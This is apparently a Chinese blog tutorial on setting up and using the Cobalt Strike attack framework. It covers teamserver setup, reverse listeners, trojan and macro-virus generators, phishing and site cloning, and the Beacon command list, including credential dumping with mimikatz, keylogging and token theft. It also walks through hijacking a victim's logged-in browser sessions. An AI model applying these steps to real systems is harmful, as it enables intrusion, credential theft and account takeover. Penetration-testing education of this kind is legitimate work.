简介

Cobalt Strike 一款以metasploit为基础的GUI的框架式渗透工具,集成了端口转发、服务扫描,自动化溢出,多模式端口监听,win exe木马生成,win dll木马生成,java木马生成,office宏病毒生成,木马捆绑;钓鱼攻击包括:站点克隆,目标信息获取,java执行,浏览器自动攻击等等。而Cobalt Strike 3.0已经不再使用Metasploit框架而作为一个独立的平台使用,当然可以结合Armitage进行使用。

Cobalt Strike 3.0 延用了其强大的团体服务器功能,能让多个攻击者同时连接到团体服务器上,共享攻击资源与目标信息和sessions。当然,在使用Cobalt Strike之前,需要安装java环境

配置

安装java环境,最好配置1.8

附上流程

下载连接

解压缩文件并移动至/opt

  1. tar -xzvf jdk-8u91-linux-x64.tar.gz
  2.  
  3. mv jdk1.8.0_91 /opt
  4.  
  5. cd /opt/jdk1.8.0_91 

设置环境变量

  1. 执行 gedit ~/.bashrc 并添加下列内容
  2.  
  3. # install JAVA JDK
  4. export JAVA_HOME=/opt/jdk1.8.0_91
  5. export CLASSPATH=.:${JAVA_HOME}/lib
  6. export PATH=${JAVA_HOME}/bin:$PATH
  7. 保存退出
  8. 执行 source ~/.bashrc   

安装并注册

  1. update-alternatives --install /usr/bin/java java /opt/jdk1.8.0_91/bin/java 1
  2. update-alternatives --install /usr/bin/javac javac /opt/jdk1.8.0_91/bin/javac 1
  3. update-alternatives --set java /opt/jdk1.8.0_91/bin/java
  4. update-alternatives --set javac /opt/jdk1.8.0_91/bin/javac    

查看结果

  1. update-alternatives --config java
  2. update-alternatives --config javac
  3. java -version

服务端

配置服务端ip和认证密码

  1. chmod+x teamserver
  2. ./teamserver ip password  

客户端

  1. java -XX:+AggressiveHeap -XX:+UseParallelGC -jar cobaltstrike.jar $*

Listeners

使用Cobalt Strike首先需要创建一个Listener,依次点击 Cobalt Strike->Listeners ,然后点击Add便可以创建自己想要的Listeners了,Cobalt Strike3.0包括

  • windows/beacon_dns/reverse_dns_txt
  • windows/beacon_dns/reverse_http
  • windows/beacon_http/reverse_http
  • windows/beacon_https/reverse_https
  • windows/beacon_smb/bind_pipe
  • windows/foreign/reverse_dns_txt
  • windows/foreign/reverse_http
  • windows/foreign/reverse_https
  • windows/foreign/reverse_tcp

其中windows/beacon 是Cobalt Strike自带的模块,包括dns,http,https,smb四种方式的监听器,windows/foreign 为外部监听器,即msf或者Armitage的监听器。
选择监听器以后,host会自动填写我们开启服务时的ip,配置监听端口,然后保存,监听器就创建好了。

Attacks

创建好监听器,下面就需要配置客户端了,Cobalt Strike包括多种攻击方式,其中Packages包括如下几种:

HTML Application 生成恶意的HTA木马文件;
MS Office Macro 生成office宏病毒文件;
Payload Generator 生成各种语言版本的payload;
USB/CD AutoPlay 生成利用自动播放运行的木马文件;
Windows Dropper 捆绑器,能够对文档类进行捆绑;
Windows Executable 生成可执行exe木马;
Windows Executable(S)生成无状态的可执行exe木马。

Web Drive-by(钓鱼攻击)包括如下几个模块:

Manage对开启的web服务进行管理;
Clone Site 克隆网站,可以记录受害者提交的数据;
Host File 提供一个文件下载,可以修改Mime信息;
PowerShell Web Delivery类似于msf 的web_delivery ;
Signed Applet Attack 使用java自签名的程序进行钓鱼攻击;
Smart Applet Attack 自动检测java版本并进行攻击,针对Java 1.6.0_45以下以及Java 1.7.0_21以下版本;
System Profiler用来获取一些系统信息,比如系统版本,Flash版本,浏览器版本等。

Spear Phish 是用来邮件钓鱼的模块。

View

View模块可以方便测试者查看各个模块,图形化的界面可以方便的看到受害者机器的各个信息。

Applications显示受害者机器的应用信息;
Credentials显示受害者机器的凭证信息,能更方便的进行后续渗透;
Downloads 文件下载;
Event Log可以看到事件日志,清楚的看到系统的事件,并且团队可以在这里聊天;
Keystrokes查看键盘记录;
Proxy Pivots查看代理信息;
Screenshots查看屏幕截图;
Script Console在这里可以加载各种脚本以增强功能,脚本地址戳我;
Targets查看目标;
Web Log查看web日志。

还有Reporting的功能就不介绍了,主要就是出报告用的。

Beacon

Beacon可以选择通过DNS还是HTTP协议出口网络,你甚至可以在使用Beacon通讯过程中切换HTTP和DNS。其支持多主机连接,部署好Beacon后提交一个要连回的域名或主机的列表,Beacon将通过这些主机轮询。目标网络的防护团队必须拦截所有的列表中的主机才可中断和其网络的通讯。

通过种种方式获取shell以后(比如直接运行生成的exe),就可以使用beacon了,右击电脑,Interact,则可打开Beacon Console;

在beacon处输入help,则可以看到详细说明:

  1. beacon> help
  2.  
  3. Beacon Commands
  4. ===============
  5.  
  6. Command Description
  7. ------- -----------
  8. browserpivot Setup a browser pivot session
  9. bypassuac Spawn a session in a high integrity process
  10. cancel Cancel a download that's in-progress
  11. cd Change directory
  12. checkin Call home and post data
  13. clear Clear beacon queue
  14. covertvpn Deploy Covert VPN client
  15. desktop View and interact with target's desktop
  16. dllinject Inject a Reflective DLL into a process
  17. download Download a file
  18. downloads Lists file downloads in progress
  19. drives List drives on target
  20. elevate Try to elevate privileges
  21. execute Execute a program on target
  22. exit Terminate the beacon session
  23. getsystem Attempt to get SYSTEM
  24. getuid Get User ID
  25. hashdump Dump password hashes
  26. help Help menu
  27. inject Spawn a session in a specific process
  28. jobkill Kill a long-running post-exploitation task
  29. jobs List long-running post-exploitation tasks
  30. kerberos_ccache_use Apply kerberos ticket from cache to this session
  31. kerberos_ticket_purge Purge kerberos tickets from this session
  32. kerberos_ticket_use Apply kerberos ticket to this session
  33. keylogger Inject a keystroke logger into a process
  34. kill Kill a process
  35. link Connect to a Beacon peer over SMB
  36. logonpasswords Dump credentials and hashes with mimikatz
  37. ls List files
  38. make_token Create a token to pass credentials
  39. mimikatz Runs a mimikatz command
  40. mkdir Make a directory
  41. mode dns Use DNS A as data channel (DNS beacon only)
  42. mode dns-txt Use DNS TXT as data channel (DNS beacon only)
  43. mode http Use HTTP as data channel
  44. mode smb Use SMB peer-to-peer communication
  45. net Network and host enumeration tool
  46. note Assign a note to this Beacon
  47. portscan Scan a network for open services
  48. powershell Execute a command via powershell
  49. powershell-import Import a powershell script
  50. ps Show process list
  51. psexec Use a service to spawn a session on a host
  52. psexec_psh Use PowerShell to spawn a session on a host
  53. pth Pass-the-hash using Mimikatz
  54. pwd Print current directory
  55. rev2self Revert to original token
  56. rm Remove a file or folder
  57. rportfwd Setup a reverse port forward
  58. runas Execute a program as another user
  59. screenshot Take a screenshot
  60. shell Execute a command via cmd.exe
  61. sleep Set beacon sleep time
  62. socks Start SOCKS4a server to relay traffic
  63. socks stop Stop SOCKS4a server
  64. spawn Spawn a session
  65. spawnas Spawn a session as another user
  66. spawnto Set executable to spawn processes into
  67. steal_token Steal access token from a process
  68. timestomp Apply timestamps from one file to another
  69. unlink Disconnect from parent Beacon
  70. upload Upload a file
  71. wdigest Dump plaintext credentials with mimikatz
  72. winrm Use WinRM to spawn a session on a host
  73. wmi Use WMI to spawn a session on a host 

对于某个模块的使用方式可以直接使用help查看,如

  1. beacon> help browserpivot
  2. Use: browserpivot [pid] [x86|x64]
  3. browserpivot [stop]
  4.  
  5. Setup a Browser Pivot into the specified process. To hijack authenticated
  6. web sessions, make sure the process is an Internet Explorer tab. These
  7. processes have iexplore.exe as their parent process.
  8.  
  9. Use "browserpivot stop" to tear down the browser pivoting sessions
  10. associated with this Beacon. 

下面主要介绍几个好玩儿的功能。这里为了能快速显示结果,可以设置

  1. beacon>sleep 0 

Browserpivot

用户注入受害者浏览器进程,然后开启HTTP代理,之后就可以登录受害者登录的网站了。

使用方式,ps找到浏览器进程:

注入进程:

  1. beacon> browserpivot 3452 x64 

置本地浏览器代理:

当受害者登录某网站账号以后,通过代理,本机浏览器同样登录该网站:

当然当被攻击者关闭浏览器的时候,代理也就失效了,关闭此代理可使用如下命令:  

  1. browserpivot stop

可以通过代理可以直接连接msf是真的很强。

学习链接:

https://evi1cg.me/archives/Cobalt_strike.html

https://xz.aliyun.com/t/3975

https://www.cnblogs.com/haq5201314/p/7040832.html

https://github.com/rsmudge/ElevateKit

https://www.cnblogs.com/-qing-/p/11517769.html#autoid-0-2-4

https://www.freebuf.com/column/149236.html

https://klionsec.github.io/2017/09/23/cobalt-strike/

tar -xzvf jdk-8u91-linux-x64.tar.gz

mv jdk1.8.0_91 /opt

cd /opt/jdk1.8.0_91

初识Cobalt Strike的更多相关文章

  1. Cobalt Strike 服务器搭建及使用

    Cobalt Strike使用中的一些坑(一) http://www.cnblogs.com/miaodaren/articles/7829793.html cobaltstrike3.8服务器搭建及 ...

  2. Cobalt Strike DNS通讯实例

    一.域名设置 如果没有域名,可以参考另一篇博客,申请Freenom免费域名,并使用DNSPod解析 链接:https://www.cnblogs.com/ssooking/p/6364639.html ...

  3. [工具]Cobalt Strike 3.13 TeamServer for Windows

    Cobalt Strike 3.13 TeamServer for Windows 0x001 环境 CS 3.12 或 3.13 Kali或Win最好安装jdk1.8.5或之后版本 设置环境变量,如 ...

  4. Cobalt Strike 学习

    前言 本文以一个模拟的域环境为例对 Cobalt Strike 的使用实践一波. 环境拓扑图如下: 攻击者(kali) 位于 192.168.245.0/24 网段,域环境位于 192.168.31. ...

  5. Cobalt Strike深入使用

    System Profiler使用 System Profiler 模块,搜集目标的各类机器信息(操作系统版本,浏览器版本等) Attacks->web drive-by->System ...

  6. Cobalt Strike 3.13的新功能

    Cobalt Strike 3.13现已推出.此版本添加了TCP Beacong,进程参数欺骗,并将Obfuscate和Sleep功能扩展到SMB和TCP Beacons. TCP Beacon Co ...

  7. (转载)Cobalt Strike tutorial下针对CVE-2017-0199利用

    CVE-2017-0199利用OLE对象嵌入Word / RTF文档的方式,使得可以在没有用户交互的情况下执行其内容.OLE由许多不同的程序支持,OLE通常用于使在另一个程序中可用的程序中创建的内容. ...

  8. Cobalt strike 第二节生成报告

    0x00前言: 上一节我们说了怎么连接到服务器 0x01生成报告: 首先打开Cobalt Strike 点击Cobalt Strike -> Preferences Preferences Pe ...

  9. cobalt strike 第一节连接到团队的服务器

    介绍:Cobalt Strike 一款以metasploit为基础的GUI的框架式渗透工具,集成了端口转发.服务扫描,自动化溢出,多模式端口监听,win exe木马生成,win dll木马生成,jav ...

随机推荐

  1. Node/Python 工具搭建cmder和nrm

    一.安装cmder cmder是windows下的一款终端工具,支持很多linux命令,用起来还是很爽的. 1.安装 http://cmder.net/ 直接在官网下载,解压即可. 2.cmder配置 ...

  2. Oracle client客户端简易安装网上文档一

    Oracle client客户端简易安装网上文档一-------------------------------------------------------------------------一. ...

  3. 【总结】办公&编程&学习你可能需要这些小利器!

    偶然想到自己从最开始的编程小白,什么都不懂,看啥啥新鲜的时期,到现在颇有"蓦然回首,那人却在灯火阑珊处"的感觉,遂想整理一下这一路学习我个人发现的在办公.编程或者学新知识等方面针对 ...

  4. 将Python执行代码打包成exe可执行文件

    安装pyinstaller pip3 install pyinstaller 进入py文件目录,执行以下指令 pyinstaller -F -w <文件名.py>,-F代表生成可执行文件, ...

  5. Scala学习系列(一)——Scala为什么是大数据第一高薪语言

    为什么是Scala 虽然在大数据领域Java的使用更普及,Python也有后来居上的势头,但Scala一直有着不可动摇的地位.我们熟悉的Spark,Kafka,Flink都是由Scala完成了其核心代 ...

  6. iOS开发 - 循环滚动的ScrollView

    源码在这里,请多多指教. 由于开发需要,要用到循环自动滚动的scrollView,借鉴了前人的思路,重新设计了一个AutoSlideScrollView.先自吹自擂一翻吧: 借鉴UITableView ...

  7. 微信网页授权,获取微信code,获取access_tocken,获取用户信息

    微信开发中,经常有这样的需求:获得用户头像.绑定微信号给用户发信息.. 那么实现这些的前提就是授权!   1.配置安全回调域名: 在微信公众号请求用户网页授权之前,开发者需要先到公众平台官网中的“开发 ...

  8. 下载安装配置 Spark-2.4.5 以及 sbt1.3.8 打包程序

    文章更新于:2020-03-29 按照惯例,文件附上链接放在文首. 文件名:spark-2.4.5-bin-without-hadoop.tgz 文件大小:159 MB 下载链接:https://mi ...

  9. Wirte-up:攻防世界Web解题过程新手区01-06

    文章更新于:2020-02-18 说明:为了标识图片边界,有些图片加了红线以增强观感. 注1: web 环境搭建参见: Windows&linux使用集成环境搭建 web 服务器 注2:DVW ...

  10. Go golang语言特性

    一.垃圾回收 1.内存自动回收. 2.只需要创建,不需要释放 二.天然并发: 1.语言层支持并发,对比python,少了GIL锁. 2.goroute,轻量级线程. 3.基于CSP模型实现 三.cha ...